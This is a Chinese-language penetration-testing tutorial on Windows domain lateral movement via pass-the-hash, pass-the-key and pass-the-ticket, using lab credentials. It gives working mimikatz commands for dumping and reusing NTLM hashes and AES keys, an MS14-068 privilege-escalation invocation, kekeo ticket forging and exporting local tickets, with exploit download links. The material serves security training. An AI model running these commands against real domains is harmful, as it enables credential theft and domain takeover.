天天看点

【内网渗透】域横向PTH&PTK&PTT哈希票据传递

目录

      • 0x001 相关知识
      • 0x002 域横向移动PTH NTML传递
      • 0x003 域横向移动PTK aes256传递
      • 0x004 域横向移动PTT哈希票据传递-ms14068&kekeo&本地
      • 0x005 开源内网神器Ladon

0x001 相关知识

1)PTH(pass the hash) 利用

LM

NTLM

的值进行的渗透测试

PTH

在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过

LM Hash

NTLM Hash

访问远程主机或服务,而不用提供明文密码。

如果禁用了

NTLM

认证,

PsExec

无法利用获得的

NTLM hash

进行远程连接,但是使用

mimikatz

还是可以攻击成功。对于

8.1/2012r2

安装补丁

kb2871997

Win 7/2008r2/8/2012

等,可以使用

AES keys

代替

NT hash

来实现

PTH

攻击

总结:

KB2871997

补丁后的影响

  • PTH:没打补丁用户都可以连接,打了补丁只能administrator连接
  • PTK:打了补丁才能用户都可以连接,采用aes256连接
【内网渗透】域横向PTH&PTK&PTT哈希票据传递

2)PTK(pass the key) #利用的ekeys aes256进行的渗透测试

攻击方式同PTH,只是打了补丁后将NTML值换成aes256加密的值

3)PTT(pass the ticket) #利用的票据凭证TGT进行的渗透测试

PTT攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:MS14-068,Golden ticket,SILVER ticket,简单来说就是将连接合法的票据注入到内存中实现连接。

MS14-068基于漏洞,Golden ticket(黄金票据),SILVER ticket(白银票据)

其中Golden ticket(黄金票据),SILVER ticket(白银票据)属于权限维持技术

MS14-068造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780

0x002 域横向移动PTH NTML传递

未打补丁下的工作组及域连接:

# mimikatz 命令
privilege::debug           // #提升权限
sekurlsa::logonPasswords   // #抓取密码

sekurlsa::pth /user:administrator /domain:tencent /ntlm:2baaefbdd1ee80755b986ee93a8848b2
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad4178a53695dc997aa02d455c
sekurlsa::pth /user:boss /domain:tencent /ntlm:ccef208c6485269c20db2cad21734fe7

# 上面反弹回来shell 查看域控的d盘信息
dir \\WIN-83V1721VG9V.tencent.com\d$    // 连接使用ip/域名都可以
           
【内网渗透】域横向PTH&PTK&PTT哈希票据传递

0x003 域横向移动PTK aes256传递

KB2871997

补丁后的工作组及域连接:

# mimikatz 命令
privilege::debug           // 提升权限
sekurlsa::ekeys            // 获取aes

sekurlsa::pth /user:administrator /domain:tencent /aes256:f305f03562f81f7847f17bcf9477cce414fb47e4271763cf9078cc2566316e0f
           
【内网渗透】域横向PTH&PTK&PTT哈希票据传递

0x004 域横向移动PTT哈希票据传递-ms14068&kekeo&本地

MS14-068

powershell执行

能实现普通用户直接获取域控system权限

1.查看当前sid 
whoami/user
2.清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::purge         // 清空当前机器中所有凭证
mimikatz # kerberos::list          // 查看当前机器凭证
mimikatz # kerberos::ptc 票据文件   // 将票据注入到内存中
3.利用ms14-068生成TGT数据 
ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u [email protected].org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45
4.票据注入内存
mimikatz.exe "kerberos::ptc [email protected]" exit
5.查看凭证列表 
klist
6.利用  
dir \\192.168.3.21\c$
           

MS14-068下载:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

利用工具kekeo

1.生成票据
kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
2.导入票据
kerberos::ptt [email protected].ORG_krbtgt~god.[email protected]GOD.ORG.kirbi
3.查看凭证 klist
4.利用net use载入
dir \\192.168.3.21\c$
           

工具kekeo下载:https://github.com/gentilkiwi/kekeo/releases

利用本地票据(需管理权限)

这种方式是猜测当前电脑连接过域控,并且连接时长没有超过票据的过期时间(10小时)

# mimikatz 命令
privilege::debug           // 提升权限

sekurlsa::tickets /export   // 导出本地所有票据
kerberos::ptt xxxxxxxxxx.xxxx.kirbi  // 导入票据 
dir \\192.168.3.21\c$   // 利用
           

0x005 开源内网神器Ladon

Ladon使用:https://github.com/k8gege/Ladon